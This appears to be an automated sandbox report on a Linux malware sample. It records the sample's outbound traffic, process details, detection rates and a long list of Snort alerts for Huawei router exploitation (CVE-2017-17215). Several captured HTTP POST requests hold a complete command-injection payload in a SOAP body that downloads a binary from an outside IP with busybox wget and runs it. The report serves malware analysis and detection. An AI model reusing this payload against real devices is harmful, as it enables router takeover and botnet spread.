Nov 19, 2023 09:16:24.167435884 CET	1146	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:28.102889061 CET	1255	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:35.782054901 CET	1452	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.143810034 CET	1850	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.367575884 CET	2715	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: yP1n2CG3Da.elf PID: 6207, Parent PID: 6121

General

Start time (UTC):	08:15:39
Start date (UTC):	19/11/2023
Path:	/tmp/yP1n2CG3Da.elf
Arguments:	/tmp/yP1n2CG3Da.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	08:15:39
Start date (UTC):	19/11/2023
Path:	/tmp/yP1n2CG3Da.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	08:15:39
Start date (UTC):	19/11/2023
Path:	/tmp/yP1n2CG3Da.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	08:15:39
Start date (UTC):	19/11/2023
Path:	/tmp/yP1n2CG3Da.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	08:15:39
Start date (UTC):	19/11/2023
Path:	/tmp/yP1n2CG3Da.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Source: yP1n2CG3Da.elf	ReversingLabs: Detection: 52%
Source: yP1n2CG3Da.elf	Virustotal: Detection: 58%			Perma Link

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42096 -> 156.77.134.145:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42096 -> 156.77.134.145:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37542 -> 156.247.21.183:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37542 -> 156.247.21.183:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60280 -> 156.254.111.62:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:60280 -> 156.254.111.62:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60756 -> 156.230.23.116:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:60756 -> 156.230.23.116:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33702 -> 156.226.14.245:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33702 -> 156.226.14.245:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36808 -> 156.253.34.65:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36808 -> 156.253.34.65:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34430 -> 156.254.111.68:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34430 -> 156.254.111.68:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53654 -> 156.241.97.151:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53654 -> 156.241.97.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45946 -> 156.230.27.184:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45946 -> 156.230.27.184:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51916 -> 156.254.68.190:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51916 -> 156.254.68.190:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59056 -> 156.235.97.221:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59056 -> 156.235.97.221:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55216 -> 41.47.97.249:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55216 -> 41.47.97.249:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38394 -> 156.241.76.11:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38394 -> 156.241.76.11:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49020 -> 156.253.35.168:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49020 -> 156.253.35.168:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49260 -> 156.241.101.157:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49260 -> 156.241.101.157:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52680 -> 156.241.100.190:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52680 -> 156.241.100.190:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45070 -> 156.230.14.26:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45070 -> 156.230.14.26:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41866 -> 156.247.16.6:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41866 -> 156.247.16.6:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45424 -> 197.56.141.175:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45424 -> 197.56.141.175:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40504 -> 41.47.169.189:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40504 -> 41.47.169.189:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56916 -> 156.254.95.66:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56916 -> 156.254.95.66:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47270 -> 156.253.46.37:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47270 -> 156.253.46.37:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43086 -> 156.253.33.255:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43086 -> 156.253.33.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51870 -> 156.241.94.165:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51870 -> 156.241.94.165:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41758 -> 156.241.113.177:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41758 -> 156.241.113.177:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42524 -> 156.253.46.138:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42524 -> 156.253.46.138:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45584 -> 156.254.109.92:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45584 -> 156.254.109.92:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41868 -> 156.241.82.22:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41868 -> 156.241.82.22:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48262 -> 41.232.169.155:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48262 -> 41.232.169.155:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33498 -> 156.254.73.77:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33498 -> 156.254.73.77:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35484 -> 156.247.25.151:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35484 -> 156.247.25.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41666 -> 156.241.15.178:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41666 -> 156.241.15.178:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39514 -> 156.241.67.35:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39514 -> 156.241.67.35:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45214 -> 156.235.101.61:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45214 -> 156.235.101.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37646 -> 156.230.16.157:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37646 -> 156.230.16.157:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41598 -> 156.235.97.136:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41598 -> 156.235.97.136:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39920 -> 156.241.86.194:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39920 -> 156.241.86.194:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44436 -> 156.254.85.109:37215
